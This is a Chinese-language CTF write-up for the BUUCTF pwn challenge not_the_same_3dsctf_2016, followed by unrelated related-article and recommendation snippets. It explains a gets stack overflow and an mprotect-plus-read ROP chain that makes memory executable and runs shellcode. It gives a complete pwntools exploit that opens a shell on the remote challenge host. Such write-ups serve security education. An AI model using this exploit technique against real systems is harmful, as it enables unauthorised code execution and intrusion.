[BUUCTF]PWN14——not_the_same_3dsctf_2016

题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016

步骤:

例行检查,32位,开启了nx保护

nc一下看看程序大概的执行情况,没看出个所以然

32位ida载入,shift+f12查看程序里的字符串,发现flag.txt

双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置,我们要想办法将这个地址上的内容读出来读出

根据nc看到的字符串,找到输入点,gets可以造成溢出

我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。

后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似

由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8

 ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret"|grep pop

ctrl+s调出程序的段表,将.got.plt段改为可读可写可执行,addr=0x80eb000

payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)

将返回地址填写成read函数,设置read函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最好读入shellcode

payload +=p32(read_addr)+p32(p3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
r.sendline(payload)
r.sendline(shellcode)

完整EXP

from pwn import*

r=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8 shellcode=asm(shellcraft.sh()) payload ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7) payload +=p32(read_addr)+p32(p3_ret) payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr) r.sendline(payload)
r.sendline(shellcode) r.interactive()

[BUUCTF]PWN14——not_the_same_3dsctf_2016的更多相关文章

  1. Buuctf刷题:部分

    get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...

  2. 刷题记录:[BUUCTF 2018]Online Tool

    目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...

  3. BUUCTF 部分wp

    目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...

  4. buuctf misc 刷题记录

    1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...

  5. BUUCTF知识记录

    [强网杯 2019]随便注 先尝试普通的注入 发现注入成功了,接下来走流程的时候碰到了问题 发现过滤了select和where这个两个最重要的查询语句,不过其他的过滤很奇怪,为什么要过滤update, ...

  6. buuctf misc wp 01

    buuctf misc wp 01 1.金三胖 2.二维码 3.N种方法解决 4.大白 5.基础破解 6.你竟然赶我走 1.金三胖 root@kali:~/下载/CTF题目# unzip 77edf3 ...

  7. buuctf misc wp 02

    buuctf misc wp 02 7.LSB 8.乌镇峰会种图 9.rar 10.qr 11.ningen 12.文件中的秘密 13.wireshark 14.镜子里面的世界 15.小明的保险箱 1 ...

  8. BUUCTF WEB-WP(3)

    BUUCTF WEB 几道web做题的记录 [ACTF2020 新生赛]Exec 知识点:exec命令执行 这题最早是在一个叫中学生CTF平台上看到的类似,比这题稍微要复杂一些,多了一些限制(看看大佬 ...

  9. BUUCTF Crypto_WP(2)

    BUUCTF Crypto WP 几道密码学wp [GXYCTF2019]CheckIn 知识点:Base64,rot47 下载文件后,发现一个txt文件,打开发现一串base64,界面之后出现一串乱 ...

随机推荐

  1. 猿猿有责,维持整洁的 Git 提交记录,三个锦囊送给你

    背景 大家都有学习如何规范简洁的编写代码,但却很少学习如何规范简洁的提交代码.现在大家基本上都用 Git 作为源码管理的工具,Git 提供了极大的灵活性,我们按照各种 workflow 来提交/合并 ...

  2. [loj3526]修改DNA

    如果$a[x..y]$和$b[x..y]$的某种字符数量不同,显然无解 考虑一个$[x,y]$的排列$p[x..y]$,使得$\forall x\le i\le y,a_{i}=b_{p_{i}}$, ...

  3. [atARC110F]Esoswap

    先构造使得$p_{i}$降序(即$p_{i}=n-1-i$),只需要从后往前,不断执行$i$操作直至合法即可 正确性的证明:首先保证了$[0,n-i)$这些数字都已经出现,因此操作不会破坏已确定的数字 ...

  4. List、ArrayList、迭代器、链表、Vector

    1.List接口中的常用方法. List是Collection接口的子接口.所以List接口中有一些特有的方法. void add(int index, Object element) Object ...

  5. 『学了就忘』Linux用户管理 — 51、用户管理相关命令

    目录 1.添加用户(useradd命令) 2.设定密码(passwd命令) 3.用户信息修改(usermod命令) 4.删除用户(userdel命令) 5.切换用户身份(su命令) 1.添加用户(us ...

  6. Dockerfile之CMD与Entrypoint使用要点

    CMD与ENTRYPOINT都可以代表容器的启动命令,单丛语义上来理解,CMD是一个命令或者口令,而ENTRYPOINT则是一个入口(相当于容器启动时的入口),那么其实就可以理解为每当我们开启一个容器 ...

  7. 解决 Ubuntu 下 gedit编辑器打开文件出现中文乱码问题

    解决 Ubuntu 中 gedit编辑器打开文件出现中文乱码问题 1. 问题分析 在 windows 系统下,.txt 文件默认编码方式为 gb18030 格式的中文编码,而 gedit 默认的编码方 ...

  8. Redis集合解决大数据筛选

    Redis集合:集合是什么,就是一堆确定的数据放在一起,数学上集合有交集.并集的概念,这个就可以用来做大数据的筛选功能. 以商品为例,假如商品有颜色和分类.价格区间等属性. 给所有统一颜色的商品放一个 ...

  9. 每日自动健康打卡(Python+腾讯云服务器)

    每日自动健康打卡(Python+腾讯云服务器) 1.配置需要 python3.7,Chrome或者Edeg浏览器,Chrome驱动或者Edge驱动 #需要配置selenium库,baidu-aip库, ...

  10. 剖析ApplicationRunner、CommandLineRunner

    需求:SpringBoot项目启动成功后执行某方法 方案:在spring-boot中提供了两种Runner接口:ApplicationRunner和CommandLineRunner,编写自己的类实现 ...